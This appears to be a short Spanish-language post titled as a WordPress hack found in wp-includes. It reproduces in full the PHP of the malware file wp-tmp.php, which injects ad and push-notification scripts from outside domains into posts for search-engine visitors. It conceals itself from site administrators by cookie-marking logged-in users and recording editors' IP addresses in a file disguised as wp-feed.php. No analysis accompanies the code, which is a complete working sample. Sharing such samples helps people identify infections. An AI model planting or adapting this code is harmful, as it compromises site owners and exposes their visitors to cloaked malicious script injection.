Hackeo en WordPress dentro de wp-includes

hack_to_wordpress_wp-tmp.php

<?php
ini_set('display_errors', 0);
error_reporting(0);
$wp_auth_key='1234567897897895456';
if ( ! function_exists( 'slider_option' ) ) {  
	function slider_option($content){ 
			if(is_single()){
				$con = '';
				$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script>
				<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>';
				$content=$content.$con2;
			}
			return $content;
	} 
	function slider_option_footer(){ 
		if(!is_single())
		{

		$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script>
			<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>';
		echo $con2;
		}
	} 
	function setting_my_first_cookie() {
		setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
	}
	if(is_user_logged_in())
	{
		add_action( 'init', 'setting_my_first_cookie',1 );
	}

	if( current_user_can('edit_others_pages')){
		if (file_exists(ABSPATH.'wp-includes/wp-feed.php')){
			$ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
		}

		if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false){
			$ip.=$_SERVER['REMOTE_ADDR'].'';
			@file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
		}
	}
	$ref = $_SERVER['HTTP_REFERER'];
	$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
	foreach ($SE as $source) {
	  if (strpos($ref,$source)!==false) {
		setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
		$sevisitor=true;
	  }
	}
	if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) {
		$adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
		if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false){
			if($sevisitor==true || isset($_COOKIE['sevisitor'])){
				add_filter('the_content','slider_option');
				add_action('wp_footer','slider_option_footer');
			}
		}
	} 
}
?>